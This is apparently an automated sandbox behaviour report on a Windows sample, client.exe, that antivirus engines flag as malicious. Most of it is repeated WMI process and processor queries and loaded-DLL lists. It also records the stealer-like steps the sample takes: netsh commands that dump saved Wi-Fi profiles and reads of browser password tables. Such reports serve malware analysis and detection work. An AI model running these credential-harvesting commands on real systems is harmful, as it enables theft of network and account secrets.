Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorId From Win32_processor

Source: C:\Users\user\Desktop\client.exe

File read: C:\Users\user\Pictures\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\client.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: tmpD3D1.tmp.dat.0.dr, tmpD435.tmp.dat.0.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: client.exe	Virustotal: Detection: 73%
Source: client.exe	ReversingLabs: Detection: 86%

Source: client.exe

String found in binary or memory: \servers.dat-launcher_profiles.json/\launcher_profiles.json

Source: unknown	Process created: C:\Users\user\Desktop\client.exe "C:\Users\user\Desktop\client.exe"
Source: C:\Users\user\Desktop\client.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr All
Source: C:\Users\user\Desktop\client.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show networks mode=bssid
Source: C:\Users\user\Desktop\client.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr All	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show networks mode=bssid	Jump to behavior

Source: C:\Users\user\Desktop\client.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chcp.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chcp.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ifmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasmontr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: authfwcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcmonitor.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3cfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3api.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: onex.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappprxy.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: hnetmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netshell.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netsetupapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netiohlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: httpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshipsec.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: polstore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winipsec.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshwfp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2pnetsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2p.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rpcnsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: whhelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlancfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlanapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wshelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: peerdistsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wcmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mobilenetworking.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprmsg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chcp.com	Section loaded: ulib.dll	Jump to behavior
